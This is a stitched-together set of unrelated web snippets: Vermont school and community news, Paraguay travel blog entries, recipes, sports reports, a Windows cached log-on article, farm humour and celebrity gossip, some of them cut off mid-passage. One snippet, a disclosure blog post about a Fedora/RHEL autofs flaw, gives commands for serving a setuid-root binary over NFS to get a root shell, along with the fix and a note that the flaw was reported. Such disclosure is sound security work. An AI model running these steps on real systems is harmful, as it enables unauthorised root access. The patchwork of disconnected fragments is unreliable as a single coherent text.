FERRISBURGH — With a new Vermont law in place promising four years of tax breaks and a one-time cash bonus for school districts that consolidate, an Addison Northwest Supervisory Union board committee has begun holding public meetings to once again test one-board governance waters.
Legislators are trying to encourage school consolidation across Vermont through Act 153 as a cost-saving measure.
MIDDLEBURY — It was back in June of 1980 that Eli Olinick celebrated what is believed to have been the first Bar Mitzvah ever in Addison County, held in Middlebury College's Warner Hemicycle.
The traditional Jewish ceremony would prove more than Olinick's symbolic transition to religious adulthood. It would become the catalyst for the organization of Addison County's Jewish community, Havurah, which this year is marking its 30th anniversary.
ADDISON COUNTY — The Mount Abraham Union High School garden began its first year at about 600 square feet. Now, as it wraps up its second year, the garden has doubled in size.
Mount Abe is just one of many schools in the county that have been taking the first steps toward incorporating more local food and nutrition education into their curriculums, in some cases bringing academic studies a little closer to technical agricultural programs.
MIDDLEBURY — The UD-3 board on Tuesday heard from more than a dozen teachers and community members who requested that any cuts to the 2011-2012 budget not affect direct educational services to students.
Some advised the board to target extra-curricular activities and administrative positions in the Middlebury district, while others suggested school directors put away the budget cutting knife altogether.

ADDISON COUNTY — An estimated 50 percent of Americans between the ages of 18 and 29 turned out to vote in the 2008 presidential elections, setting national records for youth turnout.
In the lead up to the elections this November, though, clerks in Addison County say they haven't seen a huge rush of younger voters registering.
"I haven't had any young kids come to the counter (to register)," said Vergennes city clerk Joan Devine, thinking back to the past couple of months. "Just our regular people — ones who have moved into town."
BRISTOL — Imagine what Main Street Bristol will look like 10, 20 or 50 years down the road. Now imagine what the downtown area could, or should look like and one will come close to the task that the Bristol Planning Commission has been assigned.
On Tuesday, Bristol planners sat in the conference room of the temporary town offices trudging their way through piles of color-coded maps and complex terms while deciphering the subtle differences between definitions like "Village Mix" and "Village Business."

Feb 17, 2014 - Asuncion, Paraguay
Monday 17th February 2014 Asuncion, Paraguay Asuncion is set on a large bay on the Paraguay River and is a fairly hot and steamy place. It appears to be a bit ramshackle with many old buildings mixed with a few new apartments and some nicer areas. There is also a shanty town near the waterfront. Our hotel is a few blocks from the city centre down towards the river, although not in sight of the river. After breakfast this morning a guide came to take the group on a walking tour. We all piled into a large minibus and firstly after telling us...Jump to full entry

Saturday 15th February 2014 and Sunday 16th February 2014 Buenos Aires, Argentina to Asuncion, Paraguay Today, because the truck had broken down and couldn't be fixed, we had an extra day in Buenos Aires, so after breakfast, we went to the Pink Palace in Plaza de Mayo – Casa Rosada (originally the fortress but now the presidential palace) to do a tour inside. It is only open to the public on Saturdays and Sundays, so our forced delay meant we were able to see it inside.

We left Laguna Blanca on the back of a motorbike trailer and waited by the side of the road for the bus back to Santa Rosa for over an hour in the 38 degree heat, love South American time. Another bus ride and 3 hours later we were in Concepcion. After being told that the bus to Belen, our destination, can take a different route through town each day and is difficult to track down we opted for a cab. Northern Paraguay feels a lot poorer than the south, only the main roads are paved (where we'd have a motorway at home) and everywhere else is...Jump to full entry

Oct 12, 2012 - Two weeks in Paraguay
After two weeks of being in Asuncion I have had a chance to relive all of the things that I experienced through the eyes of Andrea. The one thing she seems to point out the most is the fact that there is a beautiful house right next to a empty lot or a very poor shack and I remember feeling the same way when I was going through training in Peace Corps. I remember going from my training community to a workshop in the city and seeing the disparity from one house to the next in the same neighborhood.

Seems that after so many busses and hours without sleep we both got sick but we made it to Asuncion without any problems. The border crossing into Paraguay was interesting as it was in the middle of nowhere and we had to take an old broken down bus into the city which took us about an hour. After we got in we made it to my friends hotel in downtown where we have been nursing colds but managed to make it over to the Peace Corps office to see my old boss before he retired after 32 years of service.

Nous y sommes arrivés le samedi dans la nuit et avons un peu galéré pour trouver un hôtel.

There is clearly a lot of corruption in the country.

Family of HIV-Positive Man Who Died in Delaware Prison Sues Prison Health Care Provider, Alleging Inadequate Treatment
The family of an HIV-positive man who died while serving a six-month sentence at Gander Hill prison in Wilmington, Del., is suing First Correctional Medical, the prison system's health care provider, and two of its doctors over allegations that they did not take adequate steps to diagnose or treat the inmate's disease, the AP/WBOC reports. The lawsuit alleges that prison health care providers ignored 37-year-old Louis Chance's health complaints in September 2003 and should have ordered a CT scan or an MRI to help diagnose and treat his cryptococcal meningitis, according to attorney Ken Richmond, who is representing Chance's family. Chance became comatose and was admitted to a Wilmington hospital, where he died of the opportunistic infection. Family members said they were unaware that Chance was HIV-positive and said he might not have known his status either. "It's our belief that the death of Chance resulted from cost-containment policies," Richmond said. The inmate's relatives are among several critics of First Correctional and the Delaware Department of Correction who think health care providers are putting financial concerns before medical care. More than 40 lawsuits have been filed against Arizona-based First Correctional since 2002, when it was awarded a six-year contract to provide health care for Delaware's inmates. First Correctional pulled out of the contract in June after DOC officials requested an inspection of the provider by the National Commission on Correctional Health Care. DOC Commissioner Stan Taylor said the department's medical review committee and NCCHC identified "some issues" with First Correctional. Officials from First Correctional declined to comment (Chase, AP/WBOC, 8/29).This is part of the KHN Morning Briefing, a summary of health policy coverage from major news organizations.

French gaming site Le Mag Jeux Video got pictures of what appear to be the official premiums for The Legend of Zelda: Ocarina of Time 3D; it includes a wooden (or wood-patterned) pen and a plastic ocarina with the holes identified by their note. I had no idea an ocarina looked like a blue athletic cup.
The site had no information on what products will include these premiums, how you get them, or if they're available in Europe or all regions. Just the claim they're official. The bag in which they were packaged said it was imported by a German company. The instructions are in english.
Update: Looks like these were toys mailed to French writers only. It doesn't appear that they'll be publicly available.

From the kitchen of One Perfect Bite...Christmas is over, but just as the last of the decorations have been put away, Valentine's Day comes barreling around the corner. This was a major holiday when my children were young, but these days it is a far more subdued affair. I do a little baking and send off some cards, but that is about it. That makes the baking I do even more important to me and I like to try new recipes. I've wanted to make these cookies for a while now and since I was housebound for the day, this seemed like the perfect time to give them a try. The cookies were once part of a holiday collection put together by Midwest Living magazine. I suspect they were lost among the more sparkling holiday cookies featured in the collection, because I've never seen them on any of the other blogs. They were designed to form a garland when strung together and draped on a tree or mantle. Having just removed yards of garlands, I had no intention of using them for decoration, but a quick read of the recipe convinced me I was dealing with a cookie that would be perfect to serve with coffee or tea. The cookies proved themselves to be mildly spiced and crisply perfect for tea, but I encountered some small problems as I made them. When the dough is rolled to the specified thickness, the recipe will never yield the 36 cookies it promises. If the dough is rolled thinner than that, the cookies will be crisp and brown rather than the creamy beige promised by the site photos. These are minor problems and I think you'll enjoy the cookies. If you are looking for a new cookie, you might want to give the hearts a try. Here's how they are made.
Honey and Poppy Seed Hearts...from the kitchen of One Perfect Bite courtesy of Better Homes and Gardens and Midwest Living magazines
3/4 cup butter, softened
2/3 cup sugar
3 tablespoons honey
2 teaspoons finely shredded lemon or orange peel
1 teaspoon baking powder
1 teaspoon ground cinnamon
1/4 teaspoon baking soda
1/8 teaspoon salt
1 egg
2-1/4 cups all-purpose flour
1 egg white
1 tablespoon water
2 tablespoons poppy seed
1) Lightly grease a cookie sheet. Set aside.
2) In a large mixing bowl beat butter with electric mixer on medium to high speed about 30 seconds. Add sugar, honey, lemon or orange peel, baking powder, cinnamon, baking soda and salt. Beat until combined, scraping sides of bowl occasionally. Beat in egg until combined. Beat in as much of the flour as you can with mixer. Using a wooden spoon, stir in any remaining flour.
3) Divide dough in half. Cover and chill about 2 hours or until dough is easy to handle.
4) On a lightly floured surface, roll half of dough at a time to 1/4-inch thickness. Using a 2-1/2- to 3-inch heart-shaped cookie cutter, cut out dough. Place 2 inches apart on prepared cookie sheet. To later be able to string cookies together with a ribbon, use a straw to make a hole in center of each cookie.
5) In a small bowl beat egg white with water. Brush tops of cookies with egg white mixture and sprinkle with poppy seed.
6) Bake in a 375 degree F oven for 8 to 10 minutes or until edges are golden. Transfer cookies to a wire rack; cool. Makes about 36 (2-1/2-inch) cookies.

Ingredient – Simple Syrup
This week's cocktail requires that you have simple syrup on hand. Don't rush out and buy a bottle, though. As the name suggests it is dirt simple to make at home. Plus, when making syrup at home you can control the base ingredients and tweak your resulting cocktails as you see fit. I usually keep three types on hand: plain simple syrup, rich syrup and demerara syrup. Perhaps on the obsessive side, but I am a cocktail hacker after all. However, for the home bar the only one I see as essential is plain simple syrup.
Simple Syrup:
1 cup Sugar
1 cup Water
1) Place sugar and water in a jar/bottle and shake until the sugar fully dissolves
See? Simple as can be. The same proportions and technique can be used to make demerara syrup. Demerara sugar is granulated, unrefined, natural sugar. You've most likely seen it at coffee shops for adding to your favorite morning beverage. The resulting syrup is a nice brown (see the picture above) and has more of a natural sugar flavor than you'll get with white sugar. I find it works really well with dark rum drinks.
Some recipes may call for rich simple syrup (or rich syrup). Rich syrup is great for cocktails where you want sweetness but don't want the additional dilution that plain simple syrup provides. Rich syrup is just as simple as simple syrup, just has more sugar. Note though that this one must be heated to dissolve all the sugar.
Rich Simple Syrup:
2 cups Sugar
1 cup Water
1) Place sugar and water in a sauce pan
2) Heat over medium heat until the water starts to simmer
3) Stir the mixture until the sugar dissolves
I suggest you keep your syrups in the fridge to prolong their shelf life. You can also increase their shelf life by adding 1oz of Everclear to each bottle of syrup. Once you master these recipes you're ready to take on infused simple syrups. More about that later in the week.

Mathew Mildenhall is Villanova Male Scholar-Athlete of the Year
Maggie Mergen, Mathew Mildenhall Named Senior Student-Athletes of the Year
Villanova honored its graduating student-athletes at annual banquet on Thursday evening
Excellent video highlighting Mathew Mildenhall's accomplishments is HERE.
VILLANOVA, Pa. - It was a special evening of recognition at the annual Senior Student-Athlete Banquet on Thursday evening at the Connelly Center, where the Athletics Department celebrated the accomplishments of its graduating senior student-athletes. The highlight of the evening was the announcement of the Male and Female Senior Student-Athletes of the Year, with this year's awards going to volleyball player Maggie Mergen and men's cross country and track runner Mathew Mildenhall.
Mergen is a two-time All-BIG EAST first team selection and earned second team honors in her sophomore year. She consistently led the Wildcats in hitting percentage for three consecutive seasons and holds a 3.6 GPA in the Villanova School of Business with a major in management. Mergen has been accepted into the Peace Corps, but will defer for one year and begin her graduate degree at American University.
This season, Mergen tallied her 1,000th career kill in Villanova's second match of the season. She recorded 19 matches with double figure kills and finishes her Villanova career ranked eighth in kills with 1,298. Mergen is also Villanova's all-time leader in hitting percentage with a stellar .297. As a junior, she was named to the AVCA All-Northeast Region honorable mention squad.
Mergen is a four-time BIG EAST Academic All-Star and was named to the 2010 Philadelphia All-Area team.
Mildenhall is a two-time All-American, three-time BIG EAST individual champion and a nine-time All-BIG EAST performer for the Wildcats while carrying a 3.57 cumulative grade-point average as a Marketing major in the Villanova School of Business. He will graduate this weekend but has an additional year of athletic eligibility and plans to return to the cross country team next fall when he begins graduate studies.
During the past cross country season Mildenhall helped lead Villanova to the team title at the BIG EAST Championships for the first time in 10 years. He earned All-BIG EAST and All-Mid Atlantic Region accolades, marking the third straight season he has achieved both distinctions. In addition to his success on the course Mildenhall also excelled academically and earned a 4.0 GPA for the Fall 2011 semester. That came despite taking his heaviest semester course load since beginning his studies at Villanova. Thanks in part to Mildenhall the men's cross country team tallied the highest GPA for the semester out of any of the Wildcats sports programs. He previously was an All-American during the 2009 campaign.
In track competition Mildenhall is a two-time BIG EAST individual champion and a five-time All-BIG EAST performer during the indoor season. He was part of the winning distance medley relay squad in 2010 and a year later won the title in the 3000 meters, an event he has garnered All-BIG EAST honors in three times. Mildenhall also anchored the DMR squad to an All-American performance at the 2011 NCAA Indoor Championships. Last spring he also earned All-BIG EAST honors in the 5000 meters.
Academically, Mildenhall is a four-time BIG EAST Academic All-Star and in 2010 was named to the United States Track & Field and Cross Country Coaches Association All-Academic Team for cross country.
Each year the Male and Female Senior Student-Athlete of the Year awards are given to a senior who has excelled in both athletics and academics in addition to making a positive impact through community service. The winner must have at least a 3.2 grade-point average in addition to being a significant contributor to his/her team.

I deal with a lot of customers who area worried about Windows password attacks. These days, the biggest fear is of pass-the-hash attacks, a topic I've written about many times in the past couple of years.
Often, when customers voice concern about pass-the-hash attacks, they ask me about cached log-ons in Windows. They've heard about the vulnerability and have read one or more whitepapers about it. Even Microsoft recommends disabling cached log-ons.
[ Brace yourself for IT's 9 biggest security threats. | Find out how to block the viruses, worms, and other malware that threaten your business. | Learn how to protect your systems with InfoWorld's Security Central newsletter. ]
In fact, cached Windows log-ons aren't a big risk at all. I'll tell you why in a minute, but first, let's review the basics.
How cached passwords work
When a user successfully logs on to a Windows computer for the first time, Windows creates a local user profile folder to store desktop and other user-related settings. For domain users, Windows will store a cached log-on as well. With future log-ons, if the domain user attempts to log on to the same domain but the Windows user cannot successfully contact a domain controller, Windows will log on the user locally if the user submits the same password (or other authentication credentials) entered in the last successful domain log-on.
A common use for cached log-ons is to serve traveling laptop users. When the laptop user is connected to the home domain network, log-ons are verified by the domain controller. But when the laptop is away from its home domain, the user can still log on and use Windows because of the cached information. The password (or authentication credential) used during travel must be identical to the one previously cached while on the home network. When away, the submitted password is verified against something called the cached log-on password verifier, which is a one-way function of the user's previously submitted password.
A case of mistaken identity
In thinking about cached log-on verifiers, users often make the error of equating them to normal password hashes (such as LANManager or NT hashes) that computer hackers are always stealing, replaying, and cracking. Fortunately, they aren't the same. The mistaken assumption is reinforced by Microsoft's recommendation, as documented in the Microsoft Security Compliance Manager tool, that cached log-ons be disabled.
The default cached log-on setting (located in group policy objects at Computer Configuration/Windows Settings/Security Settings/Local Policies/Security Options/Interactive Logon: Number of Previous Logons to Cache) is usually around 10 cached log-ons. This default setting goes back to Windows NT 4.0, if not longer. Now, Microsoft recommends that cached log-ons be set to 0, which disables it.
The bad thing about disabling cached log-ons is that many computers could be difficult to log on to, or even to troubleshoot or repair, if the computer cannot reach a domain controller. Many computers, even ones that never leave the home network, suffer quick, transient network problems, which cached log-ons help overcome.
The confusion over the security risk of the cached log-on seems to ensnare lots of Windows security experts. I've read more than a few security papers that have characterized removing cached log-ons as a highly critical recommendation. I have seen respected computer security firms find cached log-on verifiers on their customer's networks and point them out as hacking vectors that need to be addressed immediately.

Getting to the Root of Climate Change
PNNL scientists to probe proteomics of soybean root hairs
Scientists at Pacific Northwest National Laboratory and EMSL will provide proteomics expertise and capabilities to study soybean root hairs and their response to changing climate conditions. Their ultimate goal is to better understand the impacts of climate on plant root physiology.
This work is part of a newly funded U.S. Department of Energy/Department of Agriculture project led by the University of Missouri, Columbia to explore the biology of a single plant cell type, while gaining novel insight into the impacts of temperature and water availability on a crucial root cell necessary for nutrient uptake. Dr. Gary Stacey, Endowed Professor of Soybean Biotechnology at the University of Missouri, is the principal investigator.
Dr. David Koppenaal and Dr. Ljiljana Paša-Tolic, staff members at PNNL, are co-investigators on the $1.1 million project.

Officials: 17 dogs seized from tractor-trailer cab
PHILADELPHIA (AP) — Animal control officers say 17 dogs have been seized from the cab of a tractor-trailer in Philadelphia.
WPVI-TV (http://6abc.cm/1nVJ37M ) reports the animals were taken Saturday after police pulled the truck over because of a domestic dispute involving a man and woman inside. Most of the dogs appear to be pit bulls.
No charges have been filed. Officials say the dogs are being cared for by animal control.

While there is a lot of talk these days about using open source technologies in the cloud, there is still a long way to go before those technologies see mainstream adoption.
A survey of 600 IT professionals conducted by Zenoss, a provider of software for managing IT operations in the data center, found that while interest in technologies such as OpenStack and various platform-as-a-service technologies is relatively high, a lack of maturity for these technologies is holding back enterprise adoption for the time being.

Parise, Harding Lead The Way As Wild Thrash Flames
ST. PAUL, Minn. -- Zach Parise scored twice and Josh Harding continued his dominance in goal to lead the Minnesota Wild to a 5-1 victory over the Calgary Flames on Tuesday night.
Harding stopped 24 of 25 shots to win his fifth straight start. He leads the NHL with a 1.10 goals-against average and .950 save percentage.
Parise put the Wild ahead 2-1 with a power-play goal at 6:28 of the second period. Ryan Suter passed to Parise at the edge of the crease, where he was stonewalled by Flames goalie Reto Berra. But the rebound bounced right back to Parise, who knocked it past the sprawled goaltender.
He added his second of the night and eighth of the season off a nifty give-and-go with Mikko Koivu and Suter during a 4-on-4 situation late in the third to make the score 5-1.
Calgary opened the scoring on Jiri Hudler's sixth goal of the season at 5:24 of the first period. Lance Bouma beat a defender in the right faceoff circle and fed it into the slot, where a wide-open Hudler snapped it past Harding.
Koivu tied it less than 4 minutes later when he backhanded a rebound over Berra for his second goal of the year.
The Flames are midway through a four-game road trip that began on Sunday when Berra, a 26-year-old making his NHL debut, beat the defending Stanley Cup champion Blackhawks 3-2 in overtime.
Berra was solid again on Tuesday, stopping 13 of 15 shots through two periods and keeping the Flames in the game with a handful of saves on point-blank shots. But the Wild scored two goals in 33 seconds midway through the third to break the game open.
First, Justin Fontaine gave the Wild a 3-1 lead, carrying the puck from behind the net before firing a wrist shot from the left faceoff circle that slipped past Berra. On the ensuing shift, Torrey Mitchell feathered a pass to Zenon Konopka on a 2-on-1 break, and Konopka beat Berra on the short side for his first goal of the year.

Knowing how important NEC issues are to our readers, we're introducing a new online Code Q&A column. Updated weekly, visit this link for answers to your latest Code questions and concerns.
Q. Can flexible metal conduit or surface metal raceways be used for branch circuits in patient care areas where wiring must be provided with a ground path for fault current?
A. Flexible metal conduit in lengths not exceeding 6 ft can be used for branch circuit wiring in patient care areas of a health care facility if the circuit conductors contained in the raceway are protected by overcurrent devices rated at 20A or less. A redundant equipment grounding conductor is also necessary. In addition, 250.118(6)c points out that where the flexible metal conduit is part of the ground return path, the total combined length of the flexible metal conduit in that run cannot exceed 6 ft.
Surface metal raceways are also considered suitable for grounding unless they have some marking – like UL information – that would prohibit its use as a sole grounding path.

Something is fishy about autofs
Late last night, I was up configuring my media center PC (I made a fresh install of Fedora 8). I decided to use the pre configured /net mount point with autofs to mount my desktop on to my media center (basically, this is an easy way to mount NFS file systems on demand).
I simply made a symlink to /net/mydesktop.getmyip.com/home/josh in /home. So that when I cd to /home/josh on my media center, it will automount the NFS share off of my desktop. This setup works pretty well for what I am doing.
A while later I inspected the mount on the client. With the "mount" command:
DESKTOP.getmyip.com:/home/josh on /net/DESKTOP.getmyip .com/home/josh type nfs (rw,addr=192.168.1.3)
Well, it might not look like there is anything wrong here. But there is.
On a stock Fedora or RedHat EL 5+ load (Tested against CentOS, but this is supposed to be a 1:1 clone of RHEL), if a user changes to a directory under /net/xxx.xx.com/, they can automount a remote path of their choosing. The user does not need any special privileges. And, because the filesystem is not mounted without "nosetuid", the user can mount a server they control and run setuid executables (there is more information here, but all you need to know is this allows any user to execute a program with special file permissions as "root"). Also, unlike described in many solaris automounter examples, there are no entries in the hosts file.
If you would like to see this flaw for yourself, follow these directions:
- only try this on your OWN computer systems
- I'm not responsible for any actions you decide to take
- I'm not responsible for any dataloss/damage that may occur from using anything discussed here.
- I'm not a hacker.
- I'm just a guy that found a vulnerability that I would like to see fixed.
- Etc.
A vulnerable system will
- have this line in its /etc/auto.master: "/net -hosts" (without "-nosetuid")
- the "autofs" service will be installed and running:
- NOTE: This is the default configuration in CentOS 5 (RHEL clone) and Fedora 8
To gain root access on this system, you have to configure an NFS server on another computer (these directions assume you are running a red hat server):
- create a /etc/exports with the line: /export *(ro,no_root_squash)
- mkdir /export
- chmod 755 /export
- wget <file attached to this blog: egg.c>
- gcc egg.c
- chown root a.out
- chmod 4755 a.out
- /etc/init.d/iptables stop
- /etc/init.d/ip6tables stop
- /etc/init.d/portmap start
- /etc/init.d/nfs start
- /etc/init.d/idmapd start
- (probably a few others I'm not thinking of too, basically get a working NFS4 server)
Now, with an unprivileged account on the client:
- cd /net/hostname.of.server.com/export
- ./a.out
- At this point, you will have a root shell on the client. You shouldn't have had to make any configuration changes on the client to get here.
[josh@media josh]$ hostname
[josh@media josh]$ pwd
[josh@media josh]$ whoami
[josh@media josh]$ ./egg
sh-3.2# whoami
The fix:
- If you do not use /net mounts, just edit your /etc/auto.master and comment out the line entirely. Be sure to restart autofs.
- otherwise, you can always add the "-nosetuid" flag to the line, which will prevent executables on the share from being executed as root.
Though this may seem like a complex hack, it is pretty trival, and leaves a gaping hole in RedHat's enterprise platform.
In my mind, the idea of having /net on RHEL, while nice, is a bad idea in general. I can imagine /net possibly helping PHP include exploits rootkit web servers, and much more.
I have already reported this configuration vulnerability to RedHat through bugzilla, and I dropped them an email at email@example.com .
RedHat resolved the issue very quickly. I am happy to see that they do take security very seriously. RedHat Made a public advisory on the 12th, which you can see here. They changed autofs, so that "nosuid" is now default. "suid" has to be explicitly stated, if it is desired on an autofs mount point.1 comment

Winter in the northern part of Iowa comes but once a year. A lot of the time, it stays for six months. But we don't just fold up our tents after harvest in the fall and head south to SissyLand. We stay here just to develop a deep, deep appreciation of the dog days of August.
Some days, it seems like August may never come. This was one of those days. As you might expect, it involves hay and the transportation of same.
The day started out with a light dusting of snow. I believe the official weather description for the accumulation was a skiff. My dictionary defines a skiff as "A measurement of snow, just enough to make you wish your butt was actually bigger so as to provide more padding as you fall on the ice underneath." How descriptive. How accurate. What an omen.
In the morning I loaded my trailer with a lot of hay for delivery to Mr. Steady Customer and headed toward Ridgeway with my tractor. I got to Ridgeway with my load and pulled onto the Winn Co-op scale from the exit side to weigh. When I got inside the office, Carol, the office secretary/bookkeeper greeted me. "Hi, Jeff. Is it pretty slippery out there?" No, I told her, I really didn't think it was that bad. We discussed the skiff. I guess it was common knowledge that we'd had a skiff.
Once my scale ticket was printed, I jumped back into my tractor to begin the trek to suburban Conover. The scale exit, which had become an entrance during the winter season, is right across from a house whose occupants have several vehicles, with a couple of them parked on the street. That's not a problem when you're driving forward off the scale. When you're backing up to exit the scale, though, it's pretty easy to crunch a vehicle. That's especially true if you're hauling a wide load, like, say, HAY! Not that I've ever done that, of course.
To avoid crushing a pickup and a car, I exit from the usual entrance side of the scale. Then I make a left turn and leave the co-op grounds. Not a problem...until you factor in the skiff.
I began my descent from the incredibly small slope on the entrance side. Gravel had been spread on the ascending side to enable semis to climb the hill to be weighed. The gravel went down a good share of the slope — straight down the slope. I needed to make a left turn before I got to the bottom.
As soon as I began my turn, my world began to spin. Instead of being visible from my rear window, my load was now quickly approaching my driver's side window. I wasn't going more than 3 or 4 miles per hour, but it looked like 11 bales were heading my way at about 65 or 70. This was a textbook case of the term jackknife being used as a verb. In a matter of one or two seconds, it was all over. I had come to rest against a snowbank piled up from months of significant snow accumulations. No skiffs. Just real accumulations. The whole trip was a distance of maybe 20 feet, but 135 degrees of rotation. I was staring at bale #3 on my load right outside my door.
I tried to drive ahead to un-jackknife myself. Wasn't gonna happen. Skiffs and traction are incompatible. Besides, I seemed to be sitting at an odd angle. I bailed out to look over the situation. No damage to the trailer. No damage to the tractor right offhand. Then it came into view. The reason I had stopped was that I had come to rest against the snowbank. With 21,180 pounds of hay as a momentum generator, I had been pushed into the bank and popped the bead on my rear tractor tire. It was flat as a pancake.
I pulled out my cell phone and got my Goodyear guy dialed up on speed dial. He'd be out right away. I then went back to the co-op office with my head hung low. Carol was already back at her desk. "Now it's slippery out there, Carol!" I said with a smile. She brushed past me to look out the window and see what I'd gotten my self into.
The rest of the co-op staff gathered to gawk. One of them volunteered to get the Army truck/snowplow out and get me un-jackknifed. We pulled the tractor ahead just far enough to straighten me out and allow me to unhook from my trailer. Then I waited for Mr. Goodyear to show up.
After a few minutes in the heated co-op shop discussing the difference between a skiff and an accumulation, I heard the familiar hum of the air pump on the Goodyear truck. I looked out the door to see my trusty helper, Steve STEVE and his shiny white and blue truck. I call him Steve STEVE because he usually has his air pump running full blast and I have to have every conversation with him twice, frequently at an extreme volume the second time around.
Steve STEVE assessed the situation and decided that no damage had been done to the tire or the rim. This would be a simple project. He assured me that he'd have me outta there in 15 minutes if everything went according to plan.
We got the tractor jacked up. We positioned the tire in its normal spot. Then it got interesting. Steve STEVE pulled out an aerosol can from his service truck. He also pulled out a small handheld LP torch that he put in his holster. Next, he put the air pump hose on the valve stem of the tire.
I was beginning to have recollections of when my Uncle Gene ran a service station in Ridgeway in the 1970s. To put big tubeless tires back on the rim, he'd always spray them with ether and light a match as he pumped air into the tire. The resulting explosion would blow the tire onto the rim, seat the bead, and usually knock at least half of his wrenches off the wall if everything went well.
Steve STEVE motioned for me to come over to him. He pulled some extra air hose out of his truck, kinked it, and handed it to me. "You're gonna be my assistant. Hold onto this hose. Keep it kinked and don't let go until I tell you to."
Aye-aye, Steve STEVE.
He then started spraying the bead of the tire with the aerosol can. Generously. Excessively, I thought.
After the fourth trip around the circumference of the bead, Steve STEVE told me to get ready. He gingerly pulled his torch out of its holster and held it toward the tire. The whole time, I was holding onto the kinked air hose. Since it was connected to the tire's valve stem, the pump thought that air was being released. Because of the kink in the hose, it was building pressure at a high rate of speed.
After two faux attempts at lighting his torch and yanking his hand out of the way, Steve STEVE was ready. With one smooth motion that lasted only a split second, he lit his torch, held it to the tire and screamed "NOW!" like it was life or death. I let go of the air hose right as the flames shot out of the tire. A thunderous roar erupted and the tire was seated on the rim just like it had come from the factory.
"YEEEEEEEAAAAAH! BeaUUUUtiful!" Steve STEVE yelled as we admired our success. I was doing my admiring from a crouched position, clear of the flames that had shot more than six feet out of the tire. For Steve STEVE, this was just another day at the office.
"You're pretty good. I want you to ride shotgun with me from now on with these things," Steve STEVE said with a smile.
Okay, Steve STEVE, but before I sign up, let me make sure my insurance policy covers magic tricks.

Finally We Can Watch Justin Bieber Pee in Jail
[There was a video here]
If you hate Justin Bieber and love urine, this is the video for you.
The Miami Beach Police Department has been holding it in, but the Bieber piss video is finally here and sufficiently blurred. And my goodness, that black box is huge.
A summary of the video: Bieber, wearing bright shoes, walks to the urinal, pees, finishes peeing, washes his hands, talks to the guard, the guard talks back, they exit the pee room. End scene.
The urinalysis experts at TMZ speculate that Bieber's dick might have hanging out while he was walking to the urinal, which makes the disappointing video slightly more interesting, maybe?:
It's weird ... law enforcement told us they were having problems black-barring the video because Justin's penis was moving around. But the video only shows him walking to the toilet — possibly with his penis exposed ... but the movement isn't that radical.
But if you want real radical movement, you'd be better off watching Bieber do push ups in jail.
